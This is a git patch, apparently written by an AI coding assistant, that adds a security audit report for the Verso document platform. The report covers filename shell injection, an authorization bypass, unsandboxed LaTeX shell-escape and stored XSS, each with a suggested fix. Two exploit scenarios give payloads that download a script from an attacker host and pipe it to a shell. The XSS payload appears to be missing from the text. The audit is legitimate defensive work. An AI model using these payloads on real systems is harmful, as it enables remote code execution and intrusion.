From 952c8977609d4fdf59f194afb65320e7882aec83 Mon Sep 17 00:00:00 2001 From: claude Date: Fri, 19 Jun 2026 10:10:19 +0000 Subject: [PATCH] docs: add alpha-3 security audit report Four findings: shell injection via filename (RCE on CLSI), auth bypass on publish-presentation routes, shell-escape without sandbox in prod, and stored XSS via published presentations (CSP removed on main origin). Co-Authored-By: Claude Sonnet 4.6 --- docs/security-audit-alpha3.md | 259 ++++++++++++++++++++++++++++++++++ 1 file changed, 259 insertions(+) create mode 100644 docs/security-audit-alpha3.md diff --git a/docs/security-audit-alpha3.md b/docs/security-audit-alpha3.md new file mode 100644 index 0000000000..7cc16bae3b --- /dev/null +++ b/docs/security-audit-alpha3.md @@ -0,0 +1,259 @@ +# Verso Alpha-3 Security Audit + +**Date:** 2026-06-19 +**Branch audited:** `main` (full codebase) +**Method:** multi-agent automated review + manual false-positive filtering + +--- + +## Summary + +| # | Title | Severity | Confidence | +|---|-------|----------|------------| +| 1 | Shell injection via filename → RCE on CLSI | **HIGH** | 9/10 | +| 2 | Read-only collaborator can publish / unpublish / rotate tokens | **HIGH** | 9/10 | +| 3 | LaTeX `shell-escape` enabled without sandbox in production | **HIGH** | 9/10 | +| 4 | Published presentations served without CSP (stored XSS on origin) | **MEDIUM** | 9/10 | + +--- + +## Vuln 1 — Command Injection via Filename → RCE on CLSI + +**Files:** +- `services/clsi/app/js/QuartoRunner.js` (lines 102–147) +- `services/clsi/app/js/TypstRunner.js` (lines 139–141, 399–400) + +**Category:** `command_injection` / `rce` +**Severity:** HIGH | **Confidence:** 9/10 + +### Description + +`renderTarget` / `mainFile` (the project's root resource path) is interpolated directly into a shell command string passed to `/bin/sh -c` without any quoting or escaping: + +```js +// QuartoRunner.js ~line 102 +const baseName = renderTarget.replace(/\.[^/.]+$/, '') +// …passed to /bin/sh -c: +`quarto render $COMPILE_DIR/${renderTarget} 2>&1 && mv ${baseName}.pdf output.pdf` +`; rm -rf ${baseName}.qmd ${baseName}_files` +``` + +```js +// TypstRunner.js ~line 140 — double quotes do NOT prevent $() or backtick expansion +['/bin/sh', '-c', `typst watch "${absInput}" "${absOutput}" 2>&1`] + +// TypstRunner.js ~line 399 — completely unquoted +['/bin/sh', '-c', `typst compile $COMPILE_DIR/${mainFile} output.pdf 2>&1`] +``` + +`SafePath.isCleanFilename()` (`SafePath.mjs` lines 24–37) only blocks `/`, `\`, `*`, and control characters. Shell metacharacters — `$`, `` ` ``, `(`, `)`, `;`, `&`, `|` — all pass through unchecked. The CLSI's own `_checkPath()` only rejects `..` path traversal. + +### Exploit Scenario + +Any project collaborator renames their root file to: + +``` +foo$(curl https://attacker.com/shell.sh|sh).qmd +``` + +Triggering a compile executes the injected command unsandboxed inside the CLSI container as the host process user. + +### Fix + +Use an args array instead of `/bin/sh -c` with a concatenated string: + +```js +// Instead of: +spawn('/bin/sh', ['-c', `quarto render ${renderTarget} ...`]) + +// Use: +spawn('quarto', ['render', absRenderTarget, '--to', 'pdf']) +``` + +For cases where a shell string is unavoidable, single-quote the variable: `'${renderTarget}'` (single quotes prevent all shell expansion). The safest fix is removing all three `/bin/sh -c templateString` invocations in favour of direct `spawn` with an explicit args array. + +--- + +## Vuln 2 — Authorization Bypass: Read-Only Collaborators Can Publish / Unpublish / Rotate Tokens + +**File:** `services/web/app/src/router.mjs` (lines 697–710) + +**Category:** `authorization_bypass` / `privilege_escalation` +**Severity:** HIGH | **Confidence:** 9/10 + +### Description + +Three destructive presentation endpoints are gated on `ensureUserCanReadProject` instead of `ensureUserCanAdminProject`: + +```js +webRouter.post('/project/:Project_id/publish-presentation', + AuthorizationMiddleware.ensureUserCanReadProject, // ← should be ensureUserCanAdminProject + PublishedPresentationController.publish) + +webRouter.post('/project/:Project_id/publish-presentation/regenerate', + AuthorizationMiddleware.ensureUserCanReadProject, // ← should be ensureUserCanAdminProject + PublishedPresentationController.regenerate) + +webRouter.delete('/project/:Project_id/publish-presentation', + AuthorizationMiddleware.ensureUserCanReadProject, // ← should be ensureUserCanAdminProject + PublishedPresentationController.unpublish) +``` + +`canUserReadProject` returns `true` for the `READ_ONLY` privilege level (`AuthorizationManager.mjs` lines 260–276), which is granted to any read-only collaborator and to anonymous users holding a read-only token link. `canUserAdminProject` requires `OWNER` only. + +### Exploit Scenario + +User A shares a project read-only with User B. User B can: + +1. **`DELETE /publish-presentation`** — permanently take down the owner's published presentation +2. **`POST /publish-presentation/regenerate`** — rotate the public/login/member share token, breaking all existing links +3. **`POST /publish-presentation`** — force a recompile and overwrite the published snapshot + +### Fix + +```js +// Change all three routes — replace: +AuthorizationMiddleware.ensureUserCanReadProject +// with: +AuthorizationMiddleware.ensureUserCanAdminProject +``` + +One-line fix per route. This is the highest-priority fix because it requires no architectural change. + +--- + +## Vuln 3 — LaTeX `shell-escape` Enabled Without Sandbox in Production (RCE) + +**Files:** +- `.gitea/workflows/deploy-verso-prod.yml` (lines 332–333) +- `services/clsi/app/js/LatexRunner.js` (lines 200–202) +- `services/clsi/app/js/CommandRunner.js` (lines 12–16) + +**Category:** `rce` / `insecure_configuration` +**Severity:** HIGH | **Confidence:** 9/10 + +### Description + +The production Kubernetes deployment sets `OVERLEAF_LATEX_SHELL_ESCAPE: "true"` with neither `SANDBOXED_COMPILES` nor `DOCKER_RUNNER` configured. This passes `-shell-escape` to every latexmk invocation globally, for all users, with no per-user or per-project gating: + +```js +// LatexRunner.js lines 200–202 +if (Settings.clsi?.latexShellEscape) { + command.push('-shell-escape') // unconditional — applies to all users/projects +} +``` + +Without `DOCKER_RUNNER=true`, `CommandRunner.js` selects `LocalCommandRunner` — compiles run as the host process with full container filesystem access. The reference `docker-compose.yml` *does* configure sandboxed compiles (`SANDBOXED_COMPILES: true`, `DOCKER_RUNNER: true`); the production K8s deployment simply omits them. + +The compile endpoint requires only `ensureUserCanReadProject`, so any holder of a read-only share link can trigger a compile. + +### Exploit Scenario + +Any user with read-only access to any project uploads or edits a `.tex` file containing: + +```latex +\immediate\write18{curl https://attacker.com/shell.sh | bash} +``` + +Triggering a compile executes the command unsandboxed, with access to all mounted volumes (source files, Redis socket, compile output). + +### Fix (two steps) + +**Step 1 — Short term:** Remove `OVERLEAF_LATEX_SHELL_ESCAPE: "true"` from `.gitea/workflows/deploy-verso-prod.yml`. Disable shell-escape entirely unless there is a specific, per-project need. + +**Step 2 — Medium term:** Add sandboxed compile configuration to the production deployment, mirroring the reference `docker-compose.yml`: + +```yaml +- name: SANDBOXED_COMPILES + value: "true" +- name: DOCKER_RUNNER + value: "true" +``` + +This contains the blast radius of any future compile-path vulnerability regardless of shell-escape status. + +--- + +## Vuln 4 — Stored XSS via Published Presentations (CSP Removed on Main Origin) + +**File:** `services/web/app/src/Features/PublishedPresentation/PublishedPresentationController.mjs` (line 116) + +**Category:** `xss` / `stored` +**Severity:** MEDIUM | **Confidence:** 9/10 + +### Description + +The published-presentation handler explicitly removes the Content-Security-Policy header before serving the raw HTML output: + +```js +res.removeHeader('Content-Security-Policy') // line 116 +res.sendFile(target, ...) // serves output.html / index.html directly +``` + +The file served is the raw Quarto/reveal.js compile output — not a sanitized template. Since users control the `.qmd` source entirely, arbitrary ` + ``` +2. Compiles and publishes → obtains the `publicToken` URL +3. Shares the link with a victim +4. Victim visits the link → script executes on the Verso origin → authenticated API calls made on victim's behalf + +### Fix + +The correct fix is to **serve published presentations from an isolated subdomain** (e.g., `decks.verso.example.com`) with no session cookie access, so embedded scripts are origin-isolated from the main app. + +As a stopgap, apply a restricted CSP instead of removing it entirely: + +```js +// Instead of: +res.removeHeader('Content-Security-Policy') + +// Apply a presentation-specific policy: +res.setHeader('Content-Security-Policy', + "default-src 'self'; script-src 'self' 'unsafe-inline'; style-src 'self' 'unsafe-inline'; connect-src 'none'") +``` + +`connect-src 'none'` blocks `fetch()`/XHR exfiltration even if inline scripts run. + +--- + +## Items Reviewed and Not Flagged + +| Area | Finding | +|------|---------| +| MongoDB queries | No raw `req.body` interpolation; Mongoose used throughout | +| CSRF protection | `csurf` middleware applied globally; no Verso-added bypass found | +| `dangerouslySetInnerHTML` | Only in operator-controlled footer (env-var source, not user input) | +| `DOMPurify` usage | `labs-description.tsx` uses it correctly with a strict allowlist | +| Hardcoded credentials | `dev.env` has weak defaults; production uses auto-generated secrets from `100_generate_secrets.sh` | +| Open redirects | `getSafeRedirectPath` strips to pathname only; no exploitable chain found | +| SSRF (URL agent) | Proxied through `linkedUrlProxy`; host allowlisting in place | +| Path traversal in `serve()` | `path.resolve` + `startsWith` guard is correct | +| Session secret | Auto-generated at init, stored in `/etc/container_environment/CRYPTO_RANDOM` | + +--- + +## Recommended Fix Priority for Alpha-3 + +| Priority | Finding | Effort | +|----------|---------|--------| +| 1 | **Vuln 2** — wrong auth middleware on 3 routes | ~5 min, 3-line fix | +| 2 | **Vuln 3** — remove `shell-escape` from prod deploy | ~5 min, remove 2 lines from YAML | +| 3 | **Vuln 1** — fix quoting in QuartoRunner + TypstRunner | ~1 hour, refactor spawn calls | +| 4 | **Vuln 4** — XSS via presentations | Hours–days; subdomain isolation is the real fix | + +Vulns 1–3 are straightforward enough to fix before shipping alpha-3. Vuln 4 can be mitigated with the `connect-src 'none'` CSP header as a stopgap and tracked as a post-alpha-3 architectural item.